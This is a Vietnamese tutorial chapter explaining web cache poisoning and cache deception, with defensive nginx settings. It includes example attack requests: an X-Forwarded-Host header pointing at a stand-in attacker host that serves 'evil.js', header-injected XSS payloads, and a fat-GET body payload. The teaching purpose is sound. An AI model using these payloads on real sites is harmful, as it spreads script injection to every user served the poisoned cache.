Skip to main content

Chương 23: Web Cache Poisoning

Khái niệm​

Web Cache Poisoning là tấn công khiến cache (CDN, Varnish, Nginx cache) lưu trữ và phục vụ response độc hại đến nhiều người dùng.

Mức độ nguy hiểm: Cao — Một attack ảnh hưởng tất cả users nhận cached response.


Cache Keys và Unkeyed Inputs​

Cache key là tập hợp các components xác định "request này có giống request trước không":

  • Thường: URL + Host header
  • Không bao gồm: nhiều headers, cookies (trừ khi configured)

Unkeyed inputs = headers/parameters mà server xử lý nhưng cache không tính vào key.


Cách hoạt động​

1. Tìm unkeyed input ảnh hưởng đến response:
X-Forwarded-Host: attacker.com
→ Server dùng để tạo links trong response

2. Poison cache:
GET /path HTTP/1.1
Host: example.com
X-Forwarded-Host: attacker.com

Response (cached):
<script src="https://attacker.com/evil.js"></script>

3. Nếu response được cache:
→ Mọi user request /path → nhận response với attacker.com script
→ XSS cho tất cả users!

Attack Vectors​

Host Header Injection​

GET / HTTP/1.1
Host: example.com
X-Forwarded-Host: "><script>alert(1)</script>
X-Host: "><script>alert(1)</script>

Fat GET Request​

GET /?utm_source=test HTTP/1.1
Host: example.com

search=INJECTED_PAYLOAD
# GET request với body → một số servers xử lý body
# Một số caches không include body trong key → poisoned cache

Cache Deception vs. Cache Poisoning​

Cache Deception (ngược lại):
Lừa server cache sensitive data (của victim)

1. Hacker tạo URL: /account/profile/nonexistent.css
2. Server: trả profile HTML (ignore invalid path)
3. Cache: thấy .css → cache aggressive (dựa vào extension)
4. Hacker request: /account/profile/nonexistent.css
5. Nhận cached profile của... victim nếu victim đã request trước

Phòng chống​

1. Disable caching cho sensitive endpoints
2. Validate unkeyed inputs (X-Forwarded-Host, etc.)
3. Add unkeyed inputs vào Vary header hoặc cache key
4. Dùng Param Miner để phát hiện unkeyed inputs
5. Cache-Control: no-store cho responses nhạy cảm
# Cache configuration an toàn
proxy_cache_key "$scheme$proxy_host$request_uri$http_x_requested_with";
# Thêm important headers vào cache key

location /api/ {
add_header Cache-Control "no-store, no-cache" always;
proxy_no_cache 1;
}

Tóm tắt​

  • Cache poisoning: inject vào unkeyed input → cached response độc hại → ảnh hưởng nhiều users.
  • Phát hiện: Param Miner extension.
  • Phòng chống: validate inputs, không cache dựa vào unkeyed params, no-store cho sensitive endpoints.